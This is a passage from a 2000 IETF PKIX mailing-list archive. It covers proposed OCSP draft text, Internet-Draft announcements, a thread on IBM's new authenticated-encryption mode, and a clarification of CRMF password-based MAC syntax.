   the response was produced will appear in the producedAt field
                             ^^^^
   of the response.

PROPOSED -02 TEXT
   The time at or before which newer information will be available
   SHALL appear in the nextUpdate field, while the time at which
   ^^^^^^^^^^^^
   the response was produced SHALL appear in the producedAt field
                             ^^^^^
   of the response.


2.6  OCSP Signature Authority Delegation
----------------------------------------
CURRENT -01 TEXT
   A certificate's issuer explicitly delegates OCSP signing authority
                          ^^^^^^^^^^         ^

PROPOSED -02 TEXT
   A certificate's issuer MAY explicitly delegate OCSP signing authority
                          ^^^
  
2.8  Use of CRLs  (new section)
PROPOSED -02 TEXT

   An id-pkix-ocsp-basic response MAY be produced using a data source other
   than CRLs.  Environments providing both id-pkix-ocsp-basic service and
   CRL maintenance service SHOULD ensure that both are synchronized with
   respect to the values of "revoked" and "not revoked" for certificates
   that are simultaneously subject to both services.  Such environments
   MAY exclude from the corresponding CRL certificates for which the value
   of "suspended" would be returned in their id-pkix-ocsp-basic service.

   [Notes to reviewers of this new section.  The essential issues are these:

      1. OCSP does not now nor ever has *required* the use of CRLs although
         the practice is known to be useful in some environments.  This
         clearly needs to be better spelled out since it continues to come
up.

      2. Where CRLs *are* relevant, a degree of synchronicity is vital.  A
         situation where, for example, there exists a "not revoked" OCSP
         response in the presence of a CRL listing a certificate is clearly
         a bad thing (or a good thing if you're a lawyer representing a
         party seeking remedy.)

      3. Suspension is a PITA with CRLs but easy with OCSP.  Since OCSP
revocation
         service isn't intrinsically linked to CRLs, we need to ensure that
we
         avoid creating a situation where the only reason to implement
CRL-based
         suspension is to deliver "suspended" responses.  If that situation
were
         to obtain, it's a sure bet there'd be very few if any "suspended"
         responses being exchanged across the Internet.  We'd all be back to
         the revoked/not revoked hack.]


Received: from email.gsta.com ([202.104.81.243]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA05919 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 09:05:02 -0800 (PST)
From: zhanglf@gsta.com
Received: from zhanglf ([172.18.86.112]) by email.gsta.com (Netscape Messaging Server 3.5)  with SMTP id 339 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 09:36:15 +0800
Reply-To: <zhanglf@gsta.com>
To: <ietf-pkix@imc.org>
Subject: Unsubscribe
Date: Fri, 1 Dec 2000 08:49:25 +0800
Message-ID: <C1FA936AEBD9D646AD231FCF2D8A88A3043FBD@server.thinkerec.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="gb2312"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ns.secondary.com id JAA05941


Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA06911 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 03:41:43 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15931; Mon, 4 Dec 2000 06:43:37 -0500 (EST)
Message-Id: <200012041143.GAA15931@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: ietf-pkix@imc.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-pkix-cmp-transport-protocols-03.txt
Date: Mon, 04 Dec 2000 06:43:36 -0500
Sender: nsyracus@cnri.reston.va.us

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Transport Protocols for CMP
	Author(s)	: A. Kapoor, R. Tschalar
	Filename	: draft-ietf-pkix-cmp-transport-protocols-03.txt
	Pages		: 
	Date		: 01-Dec-00
	
This document describes how to layer Certificate Management
Protocols [CMP] over various transport protocols.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-cmp-transport-protocols-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001201132116.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-cmp-transport-protocols-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001201132116.I-D@ietf.org>

--OtherAccess--

--NextPart--




Received: from gatekeeper.itsec-debis.de ([195.227.50.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA13107 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 00:45:01 -0800 (PST)
Received: from gatekeeper (gatekeeper [192.168.2.1] (may be forged)) by gatekeeper.itsec-debis.de (8.8.8+Sun/8.8.8) with SMTP id JAA01453 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 09:49:31 +0100 (MET)
Received: by itsec-debis.de id KAA06852; Mon, 4 Dec 2000 10:08:05 +0100
Message-ID: <3A2B5BE6.F673C596@debis.com>
Date: Mon, 04 Dec 2000 09:55:02 +0100
From: "Dr. Johannes Ueberberg" <j.ueberberg@debis.com>
Organization: debis Systemhaus Information Security Services GmbH
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Unsubscribe
Content-Type: multipart/mixed; boundary="------------5D5DF4FF004223124BA17E13"

This is a multi-part message in MIME format.
--------------5D5DF4FF004223124BA17E13
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by itsec-debis.de id KAA06852



--
***********************************************************************

    Dr. Johannes Ueberberg

    debis IT Security Services
    Windeckstra=DFe 5
    D-53111 Bonn

    Tel:       +49 (0)228 9841 513
    Fax:       +49 (0)228 9841 881
    E-mail:    j.ueberberg@debis.com
    Internet:  www.itsec-debis.de

************************************************************************



--------------5D5DF4FF004223124BA17E13
Content-Type: text/x-vcard; charset=us-ascii;
 name="j.ueberberg.vcf"
Content-Description: Card for Dr. Johannes Ueberberg
Content-Disposition: attachment;
 filename="j.ueberberg.vcf"
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by itsec-debis.de id KAA06852

begin:vcard=20
n:Ueberberg;Johannes
tel;fax:++49 (0) 228 9841 60
tel;work:++49 (0) 228 9841 513
x-mozilla-html:FALSE
url:www.itsec-debis.de
org:debis IT Security Services
adr:;;Rabinstra=DFe 8;D-53111 Bonn;Germany;;
version:2.1
email;internet:j.ueberberg@debis.com
title:Dr. Johannes Ueberberg
fn:Dr. Johannes Ueberberg
end:vcard

--------------5D5DF4FF004223124BA17E13--



Received: from corp.tivoli.com (corp.tivoli.com [216.140.178.60]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA04982 for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 13:47:17 -0800 (PST)
From: Mark_Vandenwauver@tivoli.com
Received: from schub.tivoli.com (schub.tivoli.com [146.84.104.17]) by corp.tivoli.com (8.9.3/8.9.0) with ESMTP id PAA16027; Sun, 3 Dec 2000 15:49:02 -0600 (CST)
Importance: Normal
Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates simultaneously
To: Ed Gerck <egerck@nma.com>
Cc: Peter Lipp <plippml@iaik.at>, Ed Gerck <egerck@nma.com>, Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF19FEE38F.2DE67733-ON862569AA.00779C50@tivoli.com>
Date: Sun, 3 Dec 2000 15:48:57 -0600
X-MIMETrack: Serialize by Router on SCHub/Tivoli Systems(Release 5.0.4a |July 24, 2000) at 12/03/2000 03:48:10 PM
MIME-Version: 1.0
Content-type: text/plain; charset=big5
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ns.secondary.com id NAA04983

Ed et all,

Details can be found at
http://csrc.nist.gov/encryption/aes/modes/jutla-auth.pdf

Regards,

Mark

Mark Vandenwauver, PhD
Senior Security Architect
Tivoli e-Zone Solutions Designs and Customer Projects

Bridgepoint III
6300 BridgePoint Parkway
Building III - Office A5004
Austin, Tx 78731

e-mail: Mark_Vandenwauver@tivoli.com
WWW: http://www.tivoli.com/security
Telephone: +1(512)436-1585
Fax: +1(512)436-1199

Tivoli - an IBM division


Ed Gerck <egerck@nma.com> on 12/03/2000 10:38:51 AM

To:   Peter Lipp <plippml@iaik.at>
cc:   Ed Gerck <egerck@nma.com>, Anders Rundgren
      <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org> (bcc: Mark
      Vandenwauver/Tivoli Systems)
Subject:  Re: AW: not first, Re: New IBM algorithm encrypts and
      authenticates   simultaneously





Peter Lipp wrote:

> >It is not true that IBM's was the first algorithm to simultaneously
> >encrypt and certify information.
>
> All they claim is they were the first doing it in half the time :-)

Yes, you can read the first phrase this way too -- whatever half the time
is ;-)
But in the news piece you read: "By combining the two steps, this security
algorithm will help accelerate e-business processes throughout the
industry.” "

So, the key issue here is "combining the two steps". It is a very important
development by IBM.

This IBM announcement is important (and thanks to Anders for copying
it here) because it may be another drive, and a strong one, to look into
certification models that can provide (fro example) non-repudiation by
including
encrypted secrets that require the cooperation of the certificate holder in
order to
be revealed. These models may also need to  interface/interoperate with
PKIX
as they advance.

> >>New algorithm first to perform encryption and authentication
> simultaneously in half the time
>
> Is there any pointer to a more technical description of that?

I did not find any further info on IBM's algorithm but maybe Tom Gindin
or someone from IBM in this list might be able to help?

Cheers,

Ed Gerck



Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA17592 for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 08:41:21 -0800 (PST)
Received: (qmail 29753 invoked from network); 3 Dec 2000 16:43:13 -0000
Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 3 Dec 2000 16:43:13 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Sun, 03 Dec 2000 10:43:11 -0600
Message-ID: <3A2A771B.B81DA3C8@nma.com>
Date: Sun, 03 Dec 2000 08:38:51 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Lipp <plippml@iaik.at>
CC: Ed Gerck <egerck@nma.com>, Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates   simultaneously
References: <EEEMLGNGAECGELLDDHKBEELNCAAA.plippml@iaik.at>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Peter Lipp wrote:

> >It is not true that IBM's was the first algorithm to simultaneously
> >encrypt and certify information.
>
> All they claim is they were the first doing it in half the time :-)

Yes, you can read the first phrase this way too -- whatever half the time is ;-)
But in the news piece you read: "By combining the two steps, this security
algorithm will help accelerate e-business processes throughout the industry.” "

So, the key issue here is "combining the two steps". It is a very important
development by IBM.

This IBM announcement is important (and thanks to Anders for copying
it here) because it may be another drive, and a strong one, to look into
certification models that can provide (fro example) non-repudiation by including
encrypted secrets that require the cooperation of the certificate holder in order to
be revealed. These models may also need to  interface/interoperate with PKIX
as they advance.

> >>New algorithm first to perform encryption and authentication
> simultaneously in half the time
>
> Is there any pointer to a more technical description of that?

I did not find any further info on IBM's algorithm but maybe Tom Gindin
or someone from IBM in this list might be able to help?

Cheers,

Ed Gerck



Received: from dc-mx06.cluster0.hsacorp.net ([209.225.8.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA03371 for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 06:52:46 -0800 (PST)
Received: from [24.216.106.38] (HELO hwclg18) by dc-mx06.cluster0.hsacorp.net (CommuniGate Pro SMTP 3.4b1) with SMTP id 13347162; Sun, 03 Dec 2000 07:53:47 -0700
From: "David Carman" <dcarman@hw.midatlanticexpress.com>
To: "Peter Lipp" <plippml@iaik.at>
Cc: "PKIX-List" <ietf-pkix@imc.org>
Subject: RE: not first, Re: New IBM algorithm encrypts and authenticates  simultaneously
Date: Sun, 3 Dec 2000 09:54:22 -0500
Message-ID: <NDBBJAINMLLAINKMJCIBIENIDMAA.dcarman@hw.midatlanticexpress.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_0366_01C05D0F.03C66480"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <EEEMLGNGAECGELLDDHKBEELNCAAA.plippml@iaik.at>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0366_01C05D0F.03C66480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I believe the attached draft corresponds to the marketing/news.

FYI - DWC

> -----Original Message-----
> From: Peter Lipp [mailto:plippml@iaik.at]
> Sent: Sunday, December 03, 2000 8:04 AM
> To: Ed Gerck; Anders Rundgren
> Cc: PKIX-List
> Subject: AW: not first, Re: New IBM algorithm encrypts and
> authenticates simultaneously
> 
> 
> >It is not true that IBM's was the first algorithm to
> >simultaneously encrypt and certify information.
> 
> All they claim is they were the first doing it in half the time :-)
> 
> >>New algorithm first to perform encryption and authentication
> simultaneously in half the time
> 
> Is there any pointer to a more technical description of that?
> 
> Peter

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOipemeJejw5U8dD6EQLY1wCgnd+Tn7XDRLKWbk2vg0i6LhxRc5IAn0OP
eaq/5sJKLa1xIlVkRde68A1q
=wFnH
-----END PGP SIGNATURE-----

------=_NextPart_000_0366_01C05D0F.03C66480
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment

Reply-To: <Internet-Drafts@ietf.org>
From: <Internet-Drafts@ietf.org>
Sender: <nsyracus@cnri.reston.va.us>
To: <IETF-Announce:>
Subject: I-D ACTION:draft-jutla-ietf-ipsec-esp-iapm-00.txt
Date: Wed, 22 Nov 2000 06:04:08 -0500
Message-ID: <200011221104.GAA19735@ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0363_01C05D0F.039BAB00"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0363_01C05D0F.039BAB00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A New Internet-Draft is available from the on-line Internet-Drafts
directories.


	Title		: A Parallelizable Authenticated Encryption Algorithm
                          for IPsec
	Author(s)	: C. Jutla
	Filename	: draft-jutla-ietf-ipsec-esp-iapm-00.txt
	Pages		: 11
	Date		: 21-Nov-00
	
This document  describes a new authenticated encryption
mode of operation of block ciphers called 'Integrity
Aware Parallelizable Mode (IAPM)' which is simple,
efficient, highly parallelizable, and provably secure.
One of the main features distinguishing the new mode
(IAPM) from existing modes is that along with providing
confidentiality of the payload, the new mode also pro-
vides authenticity of the payload. This is particularly
relevant to the ESP security protocol of IPsec.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00
.txt

Internet-Drafts are also available by anonymous FTP. Login with the
username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-jutla-ietf-ipsec-esp-iapm-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOipemuJejw5U8dD6EQKo0QCgm+zpGcfAQ0Md+IaALFfRad+fOSEAniMV
gVSOG3yFxaw1k20P84/cZkHX
=kn/F
-----END PGP SIGNATURE-----

------=_NextPart_000_0363_01C05D0F.039BAB00
Content-Type: Message/External-body;
	name="ATT01106.dat"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="ATT01106.dat"

Content-Type: text/plain
Content-ID:	<20001121110902.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00.txt

------=_NextPart_000_0363_01C05D0F.039BAB00
Content-Type: Message/External-body;
	name="draft-jutla-ietf-ipsec-esp-iapm-00.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="draft-jutla-ietf-ipsec-esp-iapm-00.txt"

Content-Type: text/plain
Content-ID:	<20001121110902.I-D@ietf.org>

------=_NextPart_000_0363_01C05D0F.039BAB00--

------=_NextPart_000_0366_01C05D0F.03C66480--



Received: from iaik.tu-graz.ac.at (excalibur.iaik.tu-graz.ac.at [129.27.152.30]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA25374 for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 05:01:23 -0800 (PST)
Received: from PLIPPA [129.27.152.34] by iaik.tu-graz.ac.at (SMTPD32-6.00) id A47FBF90086; Sun, 03 Dec 2000 14:02:55 +0100
From: "Peter Lipp" <plippml@iaik.at>
To: "Ed Gerck" <egerck@nma.com>, "Anders Rundgren" <anders.rundgren@telia.com>
Cc: "PKIX-List" <ietf-pkix@imc.org>
Subject: AW: not first, Re: New IBM algorithm encrypts and authenticates  simultaneously
Date: Sun, 3 Dec 2000 14:03:46 +0100
Message-ID: <EEEMLGNGAECGELLDDHKBEELNCAAA.plippml@iaik.at>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3A293BF7.3585EAF1@nma.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

>It is not true that IBM's was the first algorithm to simultaneously
>encrypt and certify information.

All they claim is they were the first doing it in half the time :-)

>>New algorithm first to perform encryption and authentication
simultaneously in half the time

Is there any pointer to a more technical description of that?

Peter



Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA14950 for <ietf-pkix@imc.org>; Sat, 2 Dec 2000 10:15:05 -0800 (PST)
Received: (qmail 3099 invoked from network); 2 Dec 2000 18:16:42 -0000
Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 2 Dec 2000 18:16:42 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Sat, 02 Dec 2000 12:16:39 -0600
Message-ID: <3A293BF7.3585EAF1@nma.com>
Date: Sat, 02 Dec 2000 10:14:15 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: not first, Re: New IBM algorithm encrypts and authenticates  simultaneously
References: <000b01c05c83$e4af9fc0$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

It is not true that IBM's was the first algorithm to simultaneously
encrypt and certify information. At least my own DVC algorithm,
patent pending and used in public official trials of Internet voting
this October in California, also encrypts and certifies in the same
operation *and* token.  The information is available at
www.safevote.com -- a licensee of the technology.

Cheers,

Ed Gerck

Anders Rundgren wrote:

> http://www.research.ibm.com/resources/news/20001130_security_tech.html



Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA11182 for <ietf-pkix@imc.org>; Sat, 2 Dec 2000 09:18:17 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailc.telia.com (8.11.0/8.11.0) with ESMTP id eB2HK0A17002; Sat, 2 Dec 2000 18:20:00 +0100 (CET)
Received: from mega (t3o69p109.telia.com [62.20.145.109]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB2HJxo08131; Sat, 2 Dec 2000 18:19:59 +0100 (CET)
Message-ID: <000b01c05c83$e4af9fc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>
Subject: New IBM algorithm encrypts and authenticates simultaneously
Date: Sat, 2 Dec 2000 18:18:29 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id JAA11183

http://www.research.ibm.com/resources/news/20001130_security_tech.html



Received: from tholian.securitydynamics.com (tholian.securid.com [204.167.112.129]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01450 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 14:09:31 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 1 Dec 2000 22:11:01 UT
Received: from exrsa01.rsa.com (exrsa01.securitydynamics.com [10.81.217.7]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id RAA09084 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 17:11:04 -0500 (EST)
Received: by exrsa01.rsa.com with Internet Mail Service (5.5.2650.21) id <YCCK6VWW>; Fri, 1 Dec 2000 14:02:37 -0800
Message-ID: <E7B6CB80230AD31185AD0008C7EBC4D26663D2@exrsa01.rsa.com>
From: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: RE: draft-ietf-pkix-rfc2511bis-00
Date: Fri, 1 Dec 2000 14:02:35 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Carlisle, Ari,
 
  Thanks guys.  
 
  Clears up it up very nicely for me! [ I'm still getting used to RFC-speak
:-) ]
 
Jeff
 

-----Original Message-----
From: Carlisle Adams [mailto:carlisle.adams@entrust.com]
Sent: Friday, December 01, 2000 12:38 PM
To: Jacoby, Jeffrey; 'Ari Kermaier'
Cc: ietf-pkix@imc.org
Subject: RE: draft-ietf-pkix-rfc2511bis-00



Hi Ari, 

	---------- 
From:   Ari Kermaier[SMTP:arik@phaos.com] 
Sent:   Friday, December 01, 2000 2:35 PM 
To:     Jacoby, Jeffrey; ietf-pkix@imc.org 
Subject:        RE: draft-ietf-pkix-rfc2511bis-00 

	Jeff, 

	I understood this to mean that the PasswordBaseMac algorithm defined
here 
(and its attendant PMBParameter) can be be used in general to support any 
appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated 
for use within CMP/CRMF. 

	But that's just my opinion, I could be wrong. :-) 

  
It's a great opinion, and you could be right...  :-) 

Yes, this is what was intended.  Again, remember that "mandatory" in the
IETF sense simply means "must be supported for compliance and guaranteed
interoperability purposes".  You are never prohibited from supporting other
things as well and, in fact, using those other choices as your default
operational algorithms.

Carlisle. 

	Ari 

	>Hi, 
> 
>Another thing that would be nice to clear up in 
>draft-ietf-pkix-rfc2511bis-00.txt 
>is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix C)

>is 
>this: 
> 
>PBMParameter ::= SEQUENCE { 
>   salt                OCTET STRING, 
>   owf                 AlgorithmIdentifier, 
>   -- AlgId for a One-Way Function (SHA-1 recommended) 
>   iterationCount      INTEGER, 
>   -- number of times the OWF is applied 
>   mac                 AlgorithmIdentifier 
>   -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11], 
>} -- or HMAC [RFC2104, RFC2202]) 
> 
>However, at the end of that very section, is this statement: 
> 
>   The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and 
>   for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}. 
> 
>So why, in the comments, is SHA-1 "recommended", and numerous examples are 
>given for mac? 
> 
>Jeff 
> 
>-------------------------------------------------------------------------- 
> 
> 
>Jeff Jacoby         phone: (650) 295-7569 
>Sr. Developer       email: jjacoby@rsasecurity.com 
>< mailto:jjacoby@rsasecurity.com <mailto:jjacoby@rsasecurity.com> > 
> 
>RSA Security, SMDC 
>2755 Campus Drive, Suite 300 
>San Mateo, CA 94403 
> 
> 
> 
> 
> 
> 
> 
>-----Original Message----- 
>From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
<mailto:carlisle.adams@entrust.com>  
>< mailto:carlisle.adams@entrust.com <mailto:carlisle.adams@entrust.com> > ]

>Sent: Thursday, November 30, 2000 12:51 PM 
>To: 'Ari Kermaier' 
>Cc: ietf-pkix@imc.org < mailto:ietf-pkix@imc.org <mailto:ietf-pkix@imc.org>
> 
>Subject: RE: draft-ietf-pkix-rfc2511bis-00 
> 
> 
> 
>Hi Ari, 
> 
>RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the 
>section in 2510 discusses semantic interpretation).  Therefore,
publicKeyMAC 
>is untagged.  I will try to remember to remove the tag from rfc2510bis as
it 
>progresses. 
> 
>Thanks for noticing this! 
> 
>Carlisle. 
> 
> 
>         ---------- 
>From:   Ari Kermaier[SMTP:arik@phaos.com] 
>Sent:   Thursday, November 30, 2000 2:20 PM 
>To:     ietf-pkix@imc.org 
>Subject:        RE: draft-ietf-pkix-rfc2511bis-00 
> 
>         A question of ASN.1 in CRMF: 
> 
>         draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: 
> 
>             POPOSigningKeyInput ::= SEQUENCE { 
>         authInfo            CHOICE { 
>             sender              [0] GeneralName, 
>             -- used only if an authenticated identity has been 
>             -- established for the sender (e.g., a DN from a 
>             -- previously-issued and currently-valid certificate) 
>             publicKeyMAC        PKMACValue }, 
>             -- used if no authenticated GeneralName currently exists for 
>             -- the sender; publicKeyMAC contains a password-based MAC 
>             -- on the DER-encoded value of publicKey 
>         publicKey           SubjectPublicKeyInfo }  -- from CertTemplate 
> 
>         draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: 
> 
>               POPOSigningKeyInput ::= SEQUENCE { 
>           authInfo            CHOICE { 
>               sender              [0] GeneralName, 
>               -- from PKIHeader (used only if an authenticated identity 
>               -- has been established for the sender (e.g., a DN from a 
>               -- previously-issued and currently-valid certificate)) 
>               publicKeyMAC        [1] PKMACValue 
>               -- used if no authenticated GeneralName currently exists for

>               -- the sender; publicKeyMAC contains a password-based MAC 
>               -- (using the protectionAlg AlgId from PKIHeader) on the 
>               -- DER-encoded value of publicKey 
>           }, 
>           publicKey           SubjectPublicKeyInfo    -- from CertTemplate

>       } 
> 
>         So -- is the publicKeyMAC choice tagged or not? 
> 
>         Ari Kermaier 



Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA25751 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 12:36:20 -0800 (PST)
